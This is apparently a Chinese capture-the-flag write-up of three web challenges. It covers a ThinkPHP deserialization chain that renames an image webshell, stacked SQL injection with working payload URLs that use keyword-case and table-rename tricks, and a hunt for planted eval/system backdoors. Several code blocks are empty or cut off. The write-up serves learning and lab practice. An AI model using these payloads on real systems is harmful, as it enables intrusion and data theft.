前言
由于当时没有报名参加强网杯因此,只能赛后复现一波。
0x01 upload
我们通过dirsearch可以发现源码泄露,下载下来审计。
由于是赛后复现,就没有将源码放上去。
首先我们先查看thinkphp的路由信息(html/route/route.php),关注web模块下的控制器方法。
1 |
|
先看一下html/application/web/controller/Index.php
中的代码,我们需要关注的是login_check方法,这个方法从cookie中获取字符串,并将其反序列化。所以我们可以反序列化任意类。
1 |
|
紧接着看html/application/web/controller/Login.php
中的代码,Login类里面只有一个login方法,就是常规的登陆检测,没有可利用的地方。再看html/application/web/controller/Profile.php
中的代码,在upload_img方法中有上传文件复制操作,而这个操作中的$this->ext,$this->filename_tmp,$this->filename
均可通过反序列化控制。如果我们能调用upload_img这一方法,在知道图片路径的情况下,就可以任意重命名图片文件,可以考虑和图片马相结合。
1 |
|
在Profile.php文件末尾还有两个魔术方法,其中$this->except在反序列化时可控,这一就有可能通过call调用任意类方法。继续看Register.php中是否存在可以触发call方法的地方。
1 |
|
我们看到html/application/web/controller/Register.php
文件中存在destruct,其中$this->registed,$this->checker在反序列化时也是可控的。如果我们将$this->checker赋值为Register类,而Register类没有index方法,所以调用的时候就会触发call方法,这样就形成了一条完整的攻击链。
1 |
|
最终用下面生成的 EXP 作为 cookies 访问网页,即可将原来上传的图片马名字修改成 shell.php ,依次找 flag 即可。
1 |
|
魔法方法的测试
1 |
|
图片木马的生成方式:
https://ljdd520.github.io/2020/01/16/%E5%9B%BE%E7%89%87%E6%9C%A8%E9%A9%AC%E5%88%B6%E4%BD%9C%E5%A4%A7%E6%B3%95/#more
0x02 随便注
由于是赛后复现因此我们先看看源码:
1 | <html> |
方法一:
fuzz一下,会发现ban了以下字符:
1 | return preg_match("/select|update|delete|drop|insert|where|\./i", $inject); |
发现支持多语句查询。查表语句为:
1 | http://192.168.220.154:8302/?inject=0%27%3Bshow+tables%3B%23 |
由于过滤了select等关键字,我们可以用预编译来构造带有select的sql语句。
1 | set @sql=concat('sel','ect * from `1919810931114514`'); |
结果显示:
1 | strstr($inject, "set") && strstr($inject, "prepare") |
既然是用strstr来匹配关键字,那么直接大小写关键字绕过:
1 | http://192.168.220.154:8302/?inject=1%27%3bSet+%40sqll%3dconcat(%27sel%27,%27ect+*+from+`1919810931114514`%27)%3bPrepare+presql+from+%40sqll%3bexecute+presql%3bdeallocate+Prepare+presql%3b%23 |
方法二:
知识点:堆叠注入
先来随便测试一下,看看是否有注入。
1 | /?inject=1%27+or+%271%27%3D%271 |
测试一下过滤了哪些函数:
过滤了select,update,delete,drop,insert,where和.。
那么我们测试一波看看是不是有堆叠注入。
1 | /?inject=1'%3Bshow+databases%3B%23 |
我们可以看看这个数字为名字的表里面有什么。看看有没有flag。
1 | /?inject=1'%3Bshow+columns+from+`1919810931114514`%3B%23 |
然后是words表,看起来就是默认查询的表了。
1 | /?inject=1%27%3Bshow+columns%20from%20`words`%3B%23 |
它既然没有过滤alter和rename,那么我们是不是可以把表改个名字,再给列改个名字吗?先把words改名为words1,再把这个数字表改名为words,然后把新的words里的flag列改为id(避免一开始无法查询)。这样就可以让程序直接查询出flag了。
构造的payload如下,然后访问,看到这个看来就执行到最后一个语句了。
1 | /?inject=1%27;RENAME%20TABLE%20`words`%20TO%20`words1`;RENAME%20TABLE%20`1919810931114514`%20TO%20`words`;ALTER%20TABLE%20`words`%20CHANGE%20`flag`%20`id`%20VARCHAR(100)%20CHARACTER%20SET%20utf8%20COLLATE%20utf8_general_ci%20NOT%20NULL;show%20columns%20from%20words;# |
用1' or '1'='1
访问一下。
1 | /?inject=1%27+or+%271%27%3D%271# |
0x03 高明的黑客
从题目的源码来看,好像黑客留了shell,我们需要从这些源码中找到正真的shell.。
我们先搜搜常见的shell,类似eval($_GET[xx])
或者system($_GET[xx])
。这里通过程序来寻找shell。
1 | import os,re |